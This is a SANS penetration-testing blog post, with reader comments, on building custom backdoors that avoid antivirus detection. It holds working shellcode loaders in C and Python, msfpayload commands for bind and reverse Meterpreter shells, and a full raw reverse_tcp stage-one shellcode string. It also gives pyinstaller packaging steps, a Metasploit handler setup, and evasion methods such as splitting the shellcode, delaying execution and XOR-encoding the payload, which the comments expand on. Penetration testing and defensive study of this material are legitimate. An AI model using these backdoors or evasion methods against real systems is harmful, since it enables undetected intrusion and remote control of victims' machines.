Blog: SANS Penetration Testing

Blog: SANS Penetration Testing

Tips for Evading Anti-Virus During Pen Testing

By Mark Baggett, the SANS Institute

You know the old saying... "Give a man a backdoor undetected by antivirus and he pwns for a day. Teach a man to make backdoors undetected by antivirus and you will get free drinks for life at DEF CON."

During the exploitation phase of a pen test or ethical hacking engagement, you will ultimately need to try to cause code to run on target system computers. Whether accomplished by phishing emails, delivering a payload through an exploit, or social engineering, running code on target computers is part of most penetration tests. That means that you will need to be able to bypass antivirus software or other host-based protection for successful exploitation. The most effective way to avoid antivirus detection on your target's computers is to create your own customized backdoor. Here are some tips for creating your own backdoors for use in penetration testing:

TIP #1: Do your reconnaissance. Know what antivirus software target system personnel are running. While it is certainly possible to make a backdoor that evades all antivirus software products, there is no need to waste those cycles if your target is only running one product, a significant likelihood. Narrow down your options by getting this information from target system personnel by asking, looking for information leakage such as e-mails footers that proclaim the AV product, or even a friendly social engineering phone call if such interaction is allowed in your rules of engagement.

TIP #2: If you want to use your backdoor for more than one project, do not submit it to or any of the other online sandboxes/scanner that work with antivirus software companies to generate new signatures. Instead, buy a copy of the antivirus product used by your target organization and test it on your own systems. Alternatively if your target is using one of the nine AV products scanned by VirusNoThanks, you could use and be sure to select "Do no distribute the sample" at the bottom of the page.

TIP #3: KISS — Keep it simple, shell-boy. I'm a minimalist when it comes to remote access. I just need enough to get in, disable antivirus (if the rules of engagement will allow it), and then move in with more full-featured tools. This approach requires less coding on my part and there is less of a chance that I will incorporate something that antivirus doesn't like.

TIP #4: You don't have to COMPLETELY reinvent this wheel. Metasploit has templates in the data/templates/src directory for DLLs, EXEs, and Windows Services. Start with them and modify them only as required to avoid your target's defenses. For example:

$ cat data/templates/src/pe/exe/template.c
#include <stdio.h>

#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";

char comment[512] = "";

int main(int argc, char **argv) {
(*(void (*)()) payload)();

You can set the payload[SCSIZE] array to any shell code that meets your needs and compile it. There are plenty of options out there for shell code. You can get several examples of shell code from exploit-db ( and many of them do not trigger antivirus software. Or, you can also use msfpayload or msfvenom from Metasploit to generate C shell code and plug that into the template. For example:
$ ./msfpayload windows/shell_bind_tcp C

This generates C shell code to bind a shell to TCP port 4444. Compile it, and check to see if the AV product running in your lab detects it. If the compiled program is detected, you have a lot of flexibility in source code. You can try:

- Moving part of your shell code to a different data segment

- Compile it to different PE, Old EXE, or COM (yes... I said .COM) formats

- Break the shell code up into smaller strings and mix the order in the source code. Then reassemble it into a variable in memory in the correct order before calling it

- Use timed events or wait() functions to delay the payload execution to avoid heuristic engines

- Create your own simple encoding engine to mask the bytes... it is easier than you think! Check out

I like writing in Python, then using pyinstaller to create an exe out of my Python script. Here is a Python template I wrote that does the same thing as the C template provided with Metasploit:

from ctypes import *

shellcode = '<-ascii shell code here ex: \x90\x90\x90->'

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

If you want to use a Metasploit payload as your shell code, you can easily turn C source into a Python-compatible string by deleting all the double quotes and new lines using the handy tr command as follows:

$ ./msfpayload windows/shell_bind_tcp C | tr —d '"' | tr —d '\n'

If you generate a multi-stage payload, just grab the string for stage one. For example, to create a Metasploit framework reverse Meterpreter, I would do the following:
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST= C | tr -d '"' | tr -d '\n' | more

Then grab the string produced for STAGE1 and plug it into my template as follows:
from ctypes import *

shellcode = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3'

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

Next, I'll compile my new backdoor with pyinstaller with the following options:

$ python
$ python --onefile --noconsole
$ python shell_template\shell_template.spec

To use the new payload we setup the Metasploit framework with the multi-handler "exploit". Once our program is run on the target, it connects back to the framework where stage2 is delivered.
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST LHOST =>
msf exploit(handler) > exploit

I hope you find these techniques useful as you help organizations better understand their security risks and improve their defenses through your penetration testing work!


Posted October 13, 2011 at 2:22 PM | Permalink | Reply


your #include stdio.h got cut out, probably due to the angle brackets.

Posted October 13, 2011 at 3:00 PM | Permalink | Reply


Good catch. I did use escapes in it appropriately, but I think it is outbound filtering on server that snags them. (BTW, outbound filtering is a good idea, but sometimes it bites you like this). Working on it. But, thanks!

Posted October 13, 2011 at 2:27 PM | Permalink | Reply


Really good article, thanks for the write-up.

Posted October 17, 2011 at 9:04 AM | Permalink | Reply


HI thnks for good example...
after all when i run on target "program too big to fit in memory"..
Dosnt work....!
have you any more?

Posted October 20, 2011 at 12:43 AM | Permalink | Reply


Thanks for the great article <b>:)</b>

Posted October 26, 2011 at 7:15 PM | Permalink | Reply

Mark Baggett

I cant recall ever seeing a "program too big to fit in memory" error when using python. My guess is you probably got that error when trying to convert the program to an EXE and that you were missing a string terminator or other delimiter from the source. If you need another example of it working you can find one in the post I did on PaulDotCom here:


Posted December 23, 2011 at 7:44 AM | Permalink | Reply


This is a great article, and a great topic to explore. Thanks for sharing.

Posted July 04, 2012 at 3:59 PM | Permalink | Reply


Thank you this helped allot! I planned making my own C templates but this method is definitely easier since I never touched C and python is so easy. I just setup a python environment on my windows box for testing pyinstaller and its working great. I'll try running it under wine later on but I'm pretty sure it will work. thank you again!!

Posted August 07, 2012 at 9:04 PM | Permalink | Reply


This is a wonderful solution, but I'm having the same problem that Franco had. When I run the .exe on the victim machine, the "program too big to fit in memory" message displays. I tested the python script before I converted it to an executable and it worked perfectly. It seems that something goes wrong during the exe conversion process.

Thanks for your help!

Posted August 22, 2012 at 11:04 AM | Permalink | Reply

Mark Baggett

Thanks for the feedback. I have not been able to reproduce that error. Please verify you've PyInstaller installation before building your executable. This was testing using the following Python installation:

Python 2.7.1 32 bit: (

PyInstaller 1.5.1 from

Move the pyInstaller folder from to \python2.7

Install the Python for Windows Extensions

Mark Baggett

Posted August 22, 2012 at 10:18 PM | Permalink | Reply

Mark Baggett

Someone just pointed out that Dave Kenedy released a tool this week that will make this process a lot easier. Additionally, the method they are using to allocate memory and inject the code will resolve issues on 64 bit systems. Check this out Thanks @dave_rel1k for the tool

Posted January 14, 2013 at 8:29 PM | Permalink | Reply


Getting the following error when try run the python --onefile --noconsole

from PyInstaller import HOMEPATH
ImportError: No module named PyInstaller

help! :)

Posted January 15, 2013 at 12:33 PM | Permalink | Reply


It sounds like pyinstaller isn't installed properly. I suggest reinstalling it as outlined in the comment above to Jorge. Then using Dave Kennedy's tool to automate the creation of the python shell code. Dave's tool is here


Posted March 31, 2013 at 10:24 AM | Permalink | Reply


Hello Mark .

Thanks for the great post , i have question regarding your suggestion about writing custom x-or encoder , i'm wondering if the encoder and decoder would be in the same script, do we need assembly to write the decoder ? and how to the process works ?


Posted April 01, 2013 at 12:16 PM | Permalink | Reply

Mark Baggett

Hi BR,
Thanks for that question. You will use the same function to encode and decode your payload. For example here is an example of using an xor encoder in Python's interactive shell to encode my name with the key 42.

&gt;&gt;&gt; xor=lambda x:"".join([chr(ord(y)^42) for y in x])
&gt;&gt;&gt; xor("mark")
&gt;&gt;&gt; xor("GKXA")

But you will only use the function to do decoding in your payload. In other words, you will encode your payload in an interactive shell. Then put a variable containing the encrypted payload in your backdoor code. For example:

&gt;&gt;&gt; encryptedpayload='GKXA'

Then when you are ready to execute the encrypted payload you will decode it and run it.

&gt;&gt;&gt; decodedpayload=xor(encryptedpayload)
&gt;&gt;&gt; print decodedpayload

Posted April 07, 2013 at 12:59 PM | Permalink | Reply


Hello Mark ,

Thanks a lot for your reply . that was exactly what i want.


Posted September 06, 2013 at 6:23 AM | Permalink | Reply

Virus Removal Houston

Very very brilliant Tips.Thanks for sharing them.

Posted November 15, 2013 at 8:37 AM | Permalink | Reply

Ra's Al Ghul

VirusNoThanks not aways have daily updated signature, is better, scan with 35 different anti-viruses and don't send sample to av's

Post a Comment

* Indicates a required field.